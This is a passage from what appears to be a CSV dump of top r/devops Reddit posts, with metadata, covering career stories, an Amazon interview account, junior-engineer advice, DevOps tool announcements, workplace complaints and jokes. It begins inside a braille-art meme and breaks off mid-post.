⠀⠀⠀⠀⠀⠀⠀⠙⢿⣷⣄⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣠⣾⡿⠁⠀⠀⠀⠀⠀⠀⠀⠀ ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠙⢿⣿⣦⣀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠰⠶⠀⠀⠀⠀⢀⣠⣾⡿⠋⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀ ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠈⠛⠿⣿⣶⣦⣤⣀⣀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣀⣀⣀⠀⢀⣀⣀⣤⣶⣿⠿⠋⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀ ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠙⣿⣿⢿⣿⣿⣿⣶⣶⣶⣤⣤⣤⣤⣴⣶⣶⣾⣷⠀⠀⣿⣿⡿⠿⠿⠿⠿⠛⠋⠁⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀ ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣰⣿⠁⢸⣿⠏⠉⠉⠉⠉⠛⠛⠛⠛⠉⠉⠀⢹⣿⠀⠀⣿⡿⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀ ⠀⠀⠀⠀⠀⠀⠀⢀⣤⣤⣄⡀⠀⠀⢠⣿⡇⢀⣿⣿⠀⠀⠀⠀⠀⠀⢰⣿⣿⢷⣶⣤⣾⣿⠀⠀⣿⡇⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀ ⠀⠀⠀⠀⠀⠀⠀⠸⣿⡟⠙⢿⣦⣤⣾⡿⠀⣼⣿⠃⠀⠀⠀⠀⠀⠀⠈⢿⣿⡀⠈⠛⠿⠿⠀⠀⣿⡇⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀ ⠀⠀⠀⠀⠀⠀⠀⠀⠹⣿⣦⡀⠙⠻⡿⠃⢰⣿⠃⠀⠀⠀⠀⠀⠀⠀⠀⠀⠻⣿⣶⣄⠀⠀⠀⠀⣿⡇⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀ ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠈⠻⣿⣦⡀⠀⣠⣿⠏⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠈⠙⠻⣷⣦⣄⣼⣿⡇⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀ ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠈⠛⠿⣿⡿⠋⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠉⠛⠿⠛⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀ Deploy that to your clusters, you sick fucks. ",Jeoh,452,48,1687348116,/r/devops/comments/14f5jco/cicd_deez_nutz/,https://www.reddit.com/r/devops/comments/14f5jco/cicd_deez_nutz/,self.devops,True,,,,, u8uri2,devops,"So long, and thanks for all the fish.","Apparently I am a Software Developer rather than SRE now. Thanks all, it's been real. I'll be studying LeetCode for now on and forgetting everything I've learned as a SRE. I will no longer have to be on-call for infrastructure, I'll be throwing all problems that relate to my code and blaming DNS or/and the network, and working on implementing my own version of quicksort or timsort and call it indiesort. I will be building docker images locally on my laptop without any consideration for how it will be deployed in Kubernetes, since that is not my problem any more. Resource limits, auto scaling, data recovery, monitoring, and alerting? Also not my problem any more. I'll be finalizing my transition by unsubscribing from all SRE subs and forgetting everything I have learned in order to make room for software dev memes from twitter so it sounds like I know what I'm doing in client meetings. So long, and thanks for all the fish.",IndieDiscovery,444,136,1650567341,/r/devops/comments/u8uri2/so_long_and_thanks_for_all_the_fish/,https://www.reddit.com/r/devops/comments/u8uri2/so_long_and_thanks_for_all_the_fish/,self.devops,True,,,,, c9g50d,devops,"Thanks, /r/devops. I'm doubling my salary because of you.","7 months ago, [I had an opportunity](https://www.reddit.com/r/devops/comments/9v0xer/need_advice_specific_to_the_devops_role/) to switch to a DevOps engineer role at my company. I've been excelling in it and doing very well, particularly since all of us were starting from scratch. Because of you guys, I took that initial leap (it was a throwaway account, but I don't know why I did that) and then became more confident in my abilities. Again, I'm crediting you guys (at least a little bit!), but I've been hired by a major software company as a DevOps engineer and they are more than doubling my salary to more than $100k. I start in a few weeks, we're house shopping since it requires a move, and my family and I couldn't be happier. Thanks again, /r/devops.",UtahJarhead,440,83,1562334449,/r/devops/comments/c9g50d/thanks_rdevops_im_doubling_my_salary_because_of/,https://www.reddit.com/r/devops/comments/c9g50d/thanks_rdevops_im_doubling_my_salary_because_of/,self.devops,True,,,,, i4cbwu,devops,I hate Scrum,"There. I said it. Who else is joining me? Scum seems to take away all the joy of being an engineer. working on tasks decided by someone else, under a cadence that never stops. counting story points and 'velocity'. 'control' and priority set by the business - chop/change tasks. lack of career growth - snr/jnr engineers working on similar tasks. I have yet to find a shop that promotes \_developers\_ scum. it always seems to be about micromanagement, control and being a replaceable cog in a machine. Anyone else agree? or am I way off base? I want to hear especially from individual contributors/developers that \*like\* working under scum and why.",wifigeek3,438,260,1596656701,/r/devops/comments/i4cbwu/i_hate_scrum/,https://www.reddit.com/r/devops/comments/i4cbwu/i_hate_scrum/,self.devops,True,,,,, szjryt,devops,From this morning's standup,"A colleague, describing a meeting with customers: ""They were trying to nail us down on a completion date, and we were trying to nail them down on the requirements."" I can imagine the dialogue in that meeting: ""When do you think you will be done?"" ""Well, that depends. What exactly do you want us to do?""",zyzmog,436,102,1645629217,/r/devops/comments/szjryt/from_this_mornings_standup/,https://www.reddit.com/r/devops/comments/szjryt/from_this_mornings_standup/,self.devops,True,,,,, c77u32,devops,"Introducing Lazydocker, a terminal GUI for docker!","Hey guys, I just released Lazydocker, a terminal GUI for docker that you can use to speed up your local development! [https://github.com/jesseduffield/lazydocker/blob/master/README.md](https://github.com/jesseduffield/lazydocker/blob/master/README.md) Let me know what you think!",jesseduffield,426,46,1561861130,/r/devops/comments/c77u32/introducing_lazydocker_a_terminal_gui_for_docker/,https://www.reddit.com/r/devops/comments/c77u32/introducing_lazydocker_a_terminal_gui_for_docker/,self.devops,True,,,,, lkr952,devops,Curated GitHub repository on how organisations around the world practice SRE and DevOps,"I’m curating engineering blog posts, videos and other cool resources on Site Reliability Engineering and DevOps in a GitHub repository https://github.com/upgundecha/howtheysre",Brilliant-Display954,423,16,1613435017,/r/devops/comments/lkr952/curated_github_repository_on_how_organisations/,https://www.reddit.com/r/devops/comments/lkr952/curated_github_repository_on_how_organisations/,self.devops,True,,,,, vj1joa,devops,[Amazon Offer] - My experience interviewing for entry level DevOps position at Amazon,"Hey all, posting this because I haven't seen much talk about the interview process at Amazon in terms of DevOps (the official titles at Amazon are DevOps Engineer and System Development Engineer). I recently accepted a position as a System Development Engineer 1 on one of the teams at AWS, and just want to outline the process. For some background - I have 1 year of experience as a software engineer at a small, not well known company. This may vary by team, since each team / department at Amazon / AWS is pretty independant from one another. **Step 1 - Online Assessment** I had 2 Data Structure / Algorithm questions to complete on Hackerrank. They gave me 90 minutes to do so. I could not find them online, but they were extremely similar to these two: [https://leetcode.com/problems/binary-tree-right-side-view/](https://leetcode.com/problems/binary-tree-right-side-view/) [https://leetcode.com/problems/find-k-length-substrings-with-no-repeated-characters/](https://leetcode.com/problems/find-k-length-substrings-with-no-repeated-characters/) I answered both with optimal time / space complexity in approximately half the given time. So I made sure to comment as much as I could explaining my thinking process **Step 2 - Phone Screen** Brief introductions and small talk, then she asked me about my past work experience, projects and internships. Again quite brief. I was asked a Leadership Principle question ""Tell me about a time when you couldn't meet your deadline?"" with follow-ups Then I was asked the two following questions: [https://leetcode.com/problems/score-after-flipping-matrix/](https://leetcode.com/problems/score-after-flipping-matrix/) (this was the exact question asked) [https://leetcode.com/problems/design-browser-history/](https://leetcode.com/problems/design-browser-history/) (not exact, but very similar to this) I struggled with the first one, I was able to come up with a brute force solution but needed the interviewers help to arrive at an optimal solution. She was extremely kind and helpful to me so I appreciated that a lot. The second question I answered optimally (constant time for all operations) and she seemed satisfied. We closed the round by having brief small talk again. **Step 3 - Onsite Round 1** Brief introductions / small talk. I was asked the following questions: [https://leetcode.com/problems/minimum-number-of-steps-to-make-two-strings-anagram/](https://leetcode.com/problems/minimum-number-of-steps-to-make-two-strings-anagram/) (exact question) I was able to solve it with optimal time / space complexity in around 15 minutes. Then I was asked various questions about Object Oriented Programming concepts as well as Database Management System concepts. I had to design a small system with OOP (ie: name the different classes and their relationships) as well as a database schema (er diagram) to support the system. After that, I was asked a Leadership Principle question ""Tell me about a time when you innovated and exceeded the expectation"" **Step 4 - Onsite Round 2** Brief introductions / small talk. I was asked a Leadership Principle ""Tell me about a time when you had conflicting ideas with your teammates and how did you resolve them?"". With several follow-ups I was asked another Leadership Principle ""Tell me about a time when you were mostly through a project and realized you had the wrong goal."". Again, with several follow-ups Then I was asked about troubleshooting questions / system design questions such as: 1. ""What would you do if your website was getting unexpectedly large traffic, how would you handle and scale it?"" 2. Explain concepts like database indexing, sharding, nosql vs sql, horizontal vs vertical scaling, etc 3. Explain the OSI model’s layers with protocols of each layer, what are protocols of the transport layer, explain what is TCP and UDP, explain how the TCP mechanism works.  4. Explain OS concepts such as process creation / management, memory management, different scheduling algorithms and the data structures used to implement them, etc. After all of this, I was asked the following question: [https://leetcode.com/problems/design-in-memory-file-system/](https://leetcode.com/problems/design-in-memory-file-system/) (pretty much the exact question) I struggled with this question a lot, and the interviewer was not very helpful. I was not able to come up with a solution with the remaining amount of time I had left. I was extremely disappointed and thought I had failed the entire interview process because of this. **Step 5 - Onsite Round 3** Brief introductions / small talk. I was asked to solve the following two questions: [https://leetcode.com/problems/find-root-of-n-ary-tree/](https://leetcode.com/problems/find-root-of-n-ary-tree/) (exact question asked) [https://leetcode.com/problems/network-delay-time/](https://leetcode.com/problems/network-delay-time/) (exact question asked) I solved both of the questions with optimal time / space complexity pretty fast. I could tell the interviewer was happy with my solutions and pretty impressed with how fast I completed them. After that I was asked the following Leadership Principle: ""Tell me about a time when you made an important decision without consulting your manager"", with several follow-ups After that, because we had some extra time, I once went over my DevOps projects with him and I talked about tools and technologies that I've used (docker, kubernetes, AWS, terraform, etc). **Step 6 - Offer Letter!!** After the interviews, I was so mentally exhausted and tired. I felt like I was not going to get it, but I did! Unfortunately the job is not remote, so I will have to relocate (they provided me $10,000 relocation). In terms of compensation, the offer was for $150k , which is more than double what I am making now so I obviously accepted it. **Final thoughts** It was a really grueling process. I had to know so many different concepts, from Data Structures, Algorithms, Databases, Networking, Operating systems, Programming, etc. But I am glad that I spent so much time prepping, it was all worth it in the end.",copiumimporium,420,221,1656003425,/r/devops/comments/vj1joa/amazon_offer_my_experience_interviewing_for_entry/,https://www.reddit.com/r/devops/comments/vj1joa/amazon_offer_my_experience_interviewing_for_entry/,self.devops,True,,,,, zjnk4n,devops,"What makes a ""good"" junior engineer? My 2c as a senior.","Something we see a lot in DevOps community forums are posts asking how to get into DevOps. This has been answered endlessly and will continue to be with varying degrees of snark depending on the mood of the people replying. Please, [read the friendly manual](https://roadmap.sh/devops)! Something I personally haven't seen nearly as often, despite it being a much more interesting question, is ""How do I succeed as a junior engineer?"" Most people know and would agree that one's skillset can be broadly delineated into soft skills and technical chops. The interview process is (usually poorly) designed to determine whether the applicant satisfies each of those requirements. So, congrats! You've landed your first job offer. What now? In my opinion, soft skills are much more important to be effective as a junior than technical skills. They're also significantly more nebulous and harder to distill into something that you can just go study. They require huge amounts of practice to refine, and unlike tech, there's no test environment. Every interaction you have with another person is influencing their perception of you. I was recently enough a junior that a lot of this is still fresh, and I mentor juniors regularly at work, so I figured I'd write this post up and recycle some content from a previous comment of mine that was well received in case this is helpful to anyone just starting out. Hope some of this might be helpful to someone, and I'd be super keen to hear from other folks in the comments if you disagree or have anything to add. Cheers! ------ Worry about your mindset first, you'll pick up the tech as you go. Keep in mind, everyone you work with closely will know that you're novice and should set their expectations accordingly. That is a huge blessing as it gives you a ton of room to blatantly not know things. A good junior should be curious, aware of their own limitations, and courageous enough to both try things on your own and ask for help when you need it. Some of this advice is tailored to my experience with organizations that were not practiced at onboarding and mentoring juniors, but a lot of it is generalizable. In no particular order: - Ask questions when you don't understand something. - Try to get a sense for when your question is specific to you being ignorant or whether it contributes to the discussion. If the former, don't interrupt a meeting to ask it. Ask someone on the side after (or during over chat, if you're comfortable with them). - https://nohello.net/ - Learn to fish. People will generally resent being repeatedly asked to spoonfeed you information that can be looked up in internal docs or the internet. You wouldn't ask your senior colleague how to create a VM in Azure. You might ask their opinion on when to use a VM vs. a container. - FIND WHERE THE DOCUMENTATION IS AND READ IT! If it's like most orgs, there will be several places to find docs and none of them will be up to date, but if the systems are still in use there will be good info in there even so. - If you want serious brownie points, document a bunch of tribal knowledge that's missing from the new hire doc they give you. If there isn't a new hire doc, create one and list stuff you had to do to get onboarded. Permissions in this system or that, setting up MFA, whatever. - Try to figure things out on your own before asking for help, but don't be stubborn about it. If you've worked a minimum wage job, you'll be shocked by how much you're left alone in a professional setting. Don't misinterpret this as thinking you're expected to work by yourself all the time. - Talk to your manager or some seniors on your team about a rule of thumb for how long you should spin your wheels trying to figure something out on your own before asking for help. I would and have been annoyed to find out someone spent 4 hours on something and didn't make any progress when I knew the answer already. - Learn git if you haven't already. Not crazy stuff, but how to create a feature branch and open a PR at least. - Try to understand (at a high level) the software development lifecycle at your company within the first few weeks. A good way to approach this is to pick a repository and map out how code goes from a developer's machine to production. Start with just system to system (dev machine -> github -> CI -> CD -> Develop -> UAT -> Staging -> Prod [or whatever it is]) then recursively dig into the actual processes happening in each system until you operate at the same abstraction layer as your senior colleagues. - Volunteer for projects, especially things that other people don't want to do. The new pipeline ticket is toil for your senior colleague but represents a learning opportunity for you as well as a chance to deliver business value. - Pay attention to things that seem silly. A fresh perspective on systems and processes that your predecessors have been working with for years can be invaluable. - For the love of all that is holy, realize that people are smart and things are often the way they are for reasons that you have no knowledge of. Asking why is great, but reserve judgement on merit until you have a more comprehensive understanding of the thing you might be criticizing. - Internalize the fact that many of the people you will be working with take a lot of pride in their work. While continuous improvement is an essential part of software development, be careful that you're not calling someone's baby ugly. - Internalize the fact that as you level up your technical skills, your ability to drive impactful projects and make meaningful achievements is going to be hugely hampered or enabled by your colleague's opinion of you. Software development is a team sport and if you make people feel bad or are difficult to work with then you will be hamstrung in terms of your ability to get other people pulling in the same direction as you. - Work with your supervisor (even ask senior colleagues for input) on a career development plan. You should orient yourself with the expectations of the next level up and use those to guide your progress. - Do not abandon tasks unless priorities have shifted and you've been instructed to pivot. - Project management is almost entirely about setting expectations. Communicate early and often to stakeholders on if something is delayed or if you hit a roadblock! - Easier said than done for most people but being self-assured enough of your own intelligence and skills to be comfortable with your own ignorance or misunderstanding is incredibly freeing. One of the smartest people I've met let alone worked with has no qualms about asking for clarification or stating when he's unsure about something. Edit: Here's a great addition from /u/panzerex that I missed. - Know how to ask for help! Describe what you are trying to do, how are you doing it, why are you trying to achieve by doing it, what went wrong, what did you expected to happen instead and what you have tried to do to make it work as you expected! Be concise on your first few sentences, so that people can judge quickly if they can help you or not, but provide extensive details of your digging to find the root cause. Another few great points from /u/elmomk (some paraphrasing) - read the error messages, someone spent a lot of time writing error handling and trying to give you useful information - As a junior, it is better to freely admit you don't know something than to guess. - Remember that even the greybeard staff engineer is human and can make mistakes. - Never test in production unless you have no choice. - Learn from your mistakes, but also from your wins. Wisdom comes from self-reflection. - Give your full attention when spoken to, people will love you for it. Additionally, listen for understanding, not just to respond. It's obvious when someone is just waiting for their turn to talk. Take a quick note if you have to, or even ask the person to hold their thought for a few seconds so you can give them your full attention without losing your own though. - If you hear words or terms you don't know, look them up or ask what they mean.",awesomefossum,420,54,1670820671,/r/devops/comments/zjnk4n/what_makes_a_good_junior_engineer_my_2c_as_a/,https://www.reddit.com/r/devops/comments/zjnk4n/what_makes_a_good_junior_engineer_my_2c_as_a/,self.devops,True,,,,, fjnxlq,devops,Ansible and Kubernetes for DevOps Free [Until End of March],"Thanks u/geerlingguy! As you mentioned the current turmoil is not good for the majority ...but an opportunity for all to either learn a new skill for themselves or for a new opportunities. [https://www.jeffgeerling.com/blog/2020/you-can-get-my-devops-books-free-rest-month](https://www.jeffgeerling.com/blog/2020/you-can-get-my-devops-books-free-rest-month)",AdrianTeri,420,47,1584376932,/r/devops/comments/fjnxlq/ansible_and_kubernetes_for_devops_free_until_end/,https://www.reddit.com/r/devops/comments/fjnxlq/ansible_and_kubernetes_for_devops_free_until_end/,self.devops,True,,,,, 1frgirw,devops,How to Become a Senior DevOps Engineer: The Unfiltered Truth,[removed],Rizean,420,136,1727536572,/r/devops/comments/1frgirw/how_to_become_a_senior_devops_engineer_the/,https://www.reddit.com/r/devops/comments/1frgirw/how_to_become_a_senior_devops_engineer_the/,self.devops,True,,,,, vs5tj5,devops,VSCode extension to see cost estimates for Terraform,"Hi everyone, a few weeks ago I posted a github issue in the hangops#terraform Slack group with the idea of having a VSCode extension based on the open source infracost CLI. This would show cost estimates in the editor and help with a few use-cases: * **Compare configs, instance types, regions etc**: copy/paste a code block, make changes and compare their costs. * **Quick cost estimate**: write a code block and get a cost estimate without having to use AWS, Google or Azure cost calculators, or read the long/complicated pricing web pages. * **Catch costly typos**: if you accidentally type 22 instead of 2 as the instance count, or 1000GB volume size instead of 100, the cost estimate will immediately pick that up and let you know. That github issue got a lot of likes so we decided to make it a reality: [**https://github.com/infracost/vscode-infracost**](https://github.com/infracost/vscode-infracost) I'm sharing this project with the community to see what people think is missing, or what cost-related things would help with your workflows?",alikhajeh1,412,33,1657048874,/r/devops/comments/vs5tj5/vscode_extension_to_see_cost_estimates_for/,https://www.reddit.com/r/devops/comments/vs5tj5/vscode_extension_to_see_cost_estimates_for/,self.devops,True,,,,, wwpo91,devops,K8s encourages people to deploy really complex infrastructure without understanding how it works,"Change my mind Edit: I want to clarify that I am not against K8s, I just think that the tool ecosystem built around it encourages bad practices wherein teams may deploy and use k8s without understanding it -- and I think this is less likely to happen with other solutions (Like Nomad, as an example). I think K8s is a great tool for lots of use cases, but I do think it has this problem other projects do not. ",billionairesexwizard,410,256,1661362630,/r/devops/comments/wwpo91/k8s_encourages_people_to_deploy_really_complex/,https://www.reddit.com/r/devops/comments/wwpo91/k8s_encourages_people_to_deploy_really_complex/,self.devops,True,,,,, chfm4h,devops,"I really hate working ""DevOps"" jobs","&#x200B; &#x200B; I'm a huge fan of the DevOps culture, mindset, and philosophy. I attend my local DevOps meetups, try to get to as many conferences as possible, and I'm a huge advocate and champion of the practice. However I've found that due to the nature of the industry, DevOps has become a job, and it's one of the worst job you can get. I've had titles such as ""DevOps Engineer"" or ""SRE"", and anytime I'm given these titles, it totally sucks. &#x200B; The reality is in most cases DevOps is really just a rebranding of what would have been called the ""Operations"" team year ago. They're typically some sort of weird frankenstein monster of various ""operation"" roles that existed in the past as separate jobs. You have to do just about everything, and somehow you do nothing at the same time. You have to build out the cloud, do monitoring, automate everything, build the CI/CD process, containerize things, and also help build the network. This role almost fall on one person or team just about 110% of the time. So DevOps becomes more of a grind than anything. You're so multi-functional to the point where anything that is ""product development"" pretty much falls in your lap. &#x200B; And to that point, let's not let me even get started on the ""Devops toolchains"". We know DevOps doesn't mean ""tooling"". But realistically in the real world it almost always does. And I absolutely hate most DevOps tools. You usually have some tool where you need to create some complex system via yaml,json documents, or even better some custom DSL. All of it's limited. And at the end of the day you're left wonder ""why am I not just using a real programming language for all of this"". And the reality is because ""only real developers use the real programming language, now take your terraform HCL and love it"" . The biggest frustration with DevOps is that you're not respected as developers. Oftentimes discouraged from doing any real development because ""there is not enough time"". So you're stuck trying to contort these tools with their crappy DSL or YAML languages into something that could potentially be useful. &#x200B; The best DevOps roles are developer roles. When a manager or a company has an epiphany, and realize that ""for all of the tools I'm trying to bolt onto my architecture, it would be better just to have a infrastructure and tooling focused developer"". I feel the industry's need to differentiate a Devops/SRE from a ""real developer"" has made DevOps roles the red headed step child of the industry. I think the faster we just toss out ""devops"" tools and make a devops person a ""developer with a focus on infrastructure"" the better off we are.",branh0913,409,191,1564009966,/r/devops/comments/chfm4h/i_really_hate_working_devops_jobs/,https://www.reddit.com/r/devops/comments/chfm4h/i_really_hate_working_devops_jobs/,self.devops,True,,,,, jbzdmw,devops,I created a diagram of our CI/CD pipeline infrastructure. Thought I'd share it here,[Click here for the image](https://www.vernier.com/wp-content/uploads/2019/12/lab.PEP-16-rube-goldberg-machine.png),kristianwindsor,405,61,1602806886,/r/devops/comments/jbzdmw/i_created_a_diagram_of_our_cicd_pipeline/,https://www.reddit.com/r/devops/comments/jbzdmw/i_created_a_diagram_of_our_cicd_pipeline/,self.devops,True,,,,, nv2mdk,devops,Terraform finally hits v1.0.0,"> Terraform v1.0 is an unusual release in that its primary focus is on stability, and it represents the culmination of several years of work in previous major releases to make sure that the Terraform language and internal architecture will be a suitable foundation for forthcoming additions that will remain backward compatible. > >Terraform v1.0.0 intentionally has no significant changes compared to Terraform v0.15.5. You can consider the v1.0 series as a direct continuation of the v0.15 series; we do not intend to issue any further releases in the v0.15 series, because all of the v1.0 releases will be only minor updates to address bugs. > >For all future minor releases with major version 1, we intend to preserve backward compatibility as described in detail in [the Terraform v1.0 Compatibility Promises](https://www.terraform.io/docs/language/v1-compatibility-promises.html). The later Terraform v1.1.0 will, therefore, be the first minor release with new features that we will implement with consideration of those promises. &#x200B; [https://github.com/hashicorp/terraform/releases/tag/v1.0.0](https://github.com/hashicorp/terraform/releases/tag/v1.0.0)",Taur1ne,401,59,1623154253,/r/devops/comments/nv2mdk/terraform_finally_hits_v100/,https://www.reddit.com/r/devops/comments/nv2mdk/terraform_finally_hits_v100/,self.devops,True,,,,, adnnwu,devops,Github just announced unlimited free private repos for all GitHub users,Source: https://blog.github.com/2019-01-07-new-year-new-github/,Castrox,399,58,1546903301,/r/devops/comments/adnnwu/github_just_announced_unlimited_free_private/,https://www.reddit.com/r/devops/comments/adnnwu/github_just_announced_unlimited_free_private/,self.devops,True,,,,, 12txhbs,devops,"Bit of a ""wow"" this company is great to work for post, feel free to share stories yourselves","So i started at a big financial tech firm recently, Ive had my share of shitty jobs in the past where blame culture is massive, but I was shocked a few weeks ago by this new company. Someone in another team fat fingered an update in a tool which took down everything in production, in such a away that the automated systems couldn't bring the apps back up successfully, so a bit of manual work had to be done, it was over a weekend so it luckily wasn't a lot of traffic hitting the app. But it was still a big outage. In other places I've worked even though It was accidental with no malice intent, that guy would be fired immediately and the issues swept under a rug(fixed quietly) . In this company they didn't name names, in a company wide email, they said it was a fault in an automated system and if anyone was to blame it would have been them as managers for not foreseeing this would be a problem (email sent by ceo, cto, coo, etc) Only a few people in cloud ops with the correct access to this tool could see who did it. The guy later said he was called into a meeting with all the ceo, coo, types, him thinking the worst. They reassured him the blame was on them, thanked him for alerting them to the issue, and seeing how distraught he was offered the next few day off paid so he could return to work in a good frame of mind. The guy is still at his job and is part of the team fixing the issue, still has all his admin accesses too.",pushbutan,399,53,1682073349,/r/devops/comments/12txhbs/bit_of_a_wow_this_company_is_great_to_work_for/,https://www.reddit.com/r/devops/comments/12txhbs/bit_of_a_wow_this_company_is_great_to_work_for/,self.devops,True,,,,, wxf6yj,devops,Compilers encourage developers to deploy really complex machine code without understanding how it works,Randall was right - real developers use a magnetized needle and a steady hand. Change my mind,flagbearer223,397,77,1661436403,/r/devops/comments/wxf6yj/compilers_encourage_developers_to_deploy_really/,https://www.reddit.com/r/devops/comments/wxf6yj/compilers_encourage_developers_to_deploy_really/,self.devops,True,,,,, e2ags6,devops,Ran a free 12 week DevOps Bootcamp on Twitch! Here are the numbers!,"Hey everyone! I posted on here a few months back, but I ran a free 12 week DevOps bootcamp on Twitch from Aug-Oct. I absolutely consider it to have been a success and Just wanted to come share the results! These are the averages and totals from the 23 streams: * Avg. Viewers 38 * Avg. Max Viewers 51 * Total Minutes Watched 115,350 * Total Chat Messages 5,949 * Total Minutes Streamed 3,131(52.2 hours) Ill be making some tweaks and re-running the bootcamp in starting the second week of January. I will also be running a 12 week Python Bootcamp at the same time if anyone was looking to pick up Pyhton. The updated curriculum as well as dates will go live in the next couple of days on [https://academy.mastermnd.io](https://academy.mastermnd.io), or you can head straight over to [Twitch](https://twitch.tv/mastermndio). Thanks for making the first Bootcamp successful and I look forward to the next! &#x200B; P.S. If you missed the first one, All of the streams can be found at this YouTube playlist. They will only stay up until the next bootcamp, then I will replace them with the new recordings. [https://www.youtube.com/playlist?list=PLleOCN2eBn8IBa07mO-mfUffUIz9LK6B5](https://www.youtube.com/playlist?list=PLleOCN2eBn8IBa07mO-mfUffUIz9LK6B5)",brooksa321,395,61,1574828017,/r/devops/comments/e2ags6/ran_a_free_12_week_devops_bootcamp_on_twitch_here/,https://www.reddit.com/r/devops/comments/e2ags6/ran_a_free_12_week_devops_bootcamp_on_twitch_here/,self.devops,True,,,,, mdlg2i,devops,So you want to become DevOps/SRE engineer? I can become your mentor,"When I started my way in administration, then in DevOps jobs I had great mentors who helped me to with learning a lot of things on practice. Later after getting more senior level I started to prepare on-boarding materials for newcomers, so that people who joined our team in 2 month become productive. Right now I would like to do something similar and prepare materials for training for people that would like to try out technical tools and practices from DevOps. The idea is following: I'm posting a quest and give details for it. Then people try to make this quest. I will gonna play ""customer"" role and will not give any manuals. You can google how to do it, read books, reddit, stack overflow, view youtube videos - whatever you want. I will answer your questions in comments and give my feedback. So you gonna learn by doing stuff rather then reading and copy pasting. Idea for level 0: I need you to setup web server with my custom page on your local Virtual Machine. Next levels would be harder and more interesting. What you can get from it: gain practical knowledge, learn together What I plan to get from it: see progress of people in learning new things. Does it look interesting to you? Would be interested in your feedback. P.S. This is my experiment, so I will not take any money, neither will outsource my work to you. **UPD:** could you let me know your experience? Know nothing, able to run command line, working with VMs, containers and so one. I would like to group those tasks. **UPD2:** Wow, guys! I got tons of feedback. I have idea how to handle it with groups. I will post updates later. **UPD3:** Not sure if this update would be visible for everyone, so I created new post https://www.reddit.com/r/devops/comments/mfknih/so_you_want_to_become_devopssre_update_post/ **UPD4:** Here is a link for list of tasks that would be added later https://learningdevops.makvaz.com/tasks",korney4eg,395,195,1616753601,/r/devops/comments/mdlg2i/so_you_want_to_become_devopssre_engineer_i_can/,https://www.reddit.com/r/devops/comments/mdlg2i/so_you_want_to_become_devopssre_engineer_i_can/,self.devops,True,,,,, ppw2nb,devops,I spent a few years learning Containers and here is my recipe for grasping the domain,"Docker and alike tools became ubiquitous nowadays. Almost every developer can find a good application for containers. I started using containers in ~2015, and at first wasn’t really paying much attention to the details. However, this technology and its widespread use has been charming me ever since. There was plenty of high-level tutorials out there, but rarely I could find in-depth explanations of why and how exactly. In 2019 I started [actively blogging about containers](https://iximiuz.com/en/) focusing on the internals of the technology. Over time, [I came up with a certain order of explaining things](https://twitter.com/iximiuz/status/1423984739514454033?s=21) that, in my opinion, eases the learning. Recently, I shared it on Twitter, and the thread gathered really positive feedback. So, I decided to share it with the wider audience of fellow dev and ops people. Hope someone here could find it useful as well.",iximiuz,395,41,1631866437,/r/devops/comments/ppw2nb/i_spent_a_few_years_learning_containers_and_here/,https://www.reddit.com/r/devops/comments/ppw2nb/i_spent_a_few_years_learning_containers_and_here/,self.devops,True,,,,, at3oyq,devops,It looks like Ibera is gutting Travis CI just a few weeks after acquiring it,"[https://twitter.com/carmatrocity/status/1098538649908666368](https://twitter.com/carmatrocity/status/1098538649908666368) ""I have no idea, they just sent termination letters to lots of peeps, including senior engs (like the ones with the most institutional knowledge? What?!), support, COO, etc... so....IDK? Just trying to help these people land their next gig. Get them while you can!"" Looks like, just a few weeks after acquiring Travis CI, Idera is putting the axe to a good portion of the workforce.",HHendrik,393,242,1550758965,/r/devops/comments/at3oyq/it_looks_like_ibera_is_gutting_travis_ci_just_a/,https://www.reddit.com/r/devops/comments/at3oyq/it_looks_like_ibera_is_gutting_travis_ci_just_a/,self.devops,True,,,,, bb9uvf,devops,DevOps slack channels get weird before the morning coffee,"**Dan \[8:41 AM\]** Heads up that this could be a bad day. I had a dream last night that the moon was coming out of orbit and we had to ssh into the moon to correct it. But I forgot my password. So ... **Barry \[8:50 AM\]** all lunar-based authentication should be public key driven. rookie mistake. **Dan \[8:51 AM\]** You just watch. My next dream will be a host key mismatch in my known\_hosts file and everyone will be wondering if the moon had changed **Baeey \[8:52 AM\]** moon in the middle attacks are a serious threat",fess432,392,22,1554826591,/r/devops/comments/bb9uvf/devops_slack_channels_get_weird_before_the/,https://www.reddit.com/r/devops/comments/bb9uvf/devops_slack_channels_get_weird_before_the/,self.devops,True,,,,, w1dfhp,devops,Dear Datadog….,"From the bottom of my heart, #PLEASE STOP CALLING ME i do NOT make the decisions on what technology to use! I’ve blocked you guys 5 times and have received too many calls. Did you guys receive your series B by spamming the investors? From, 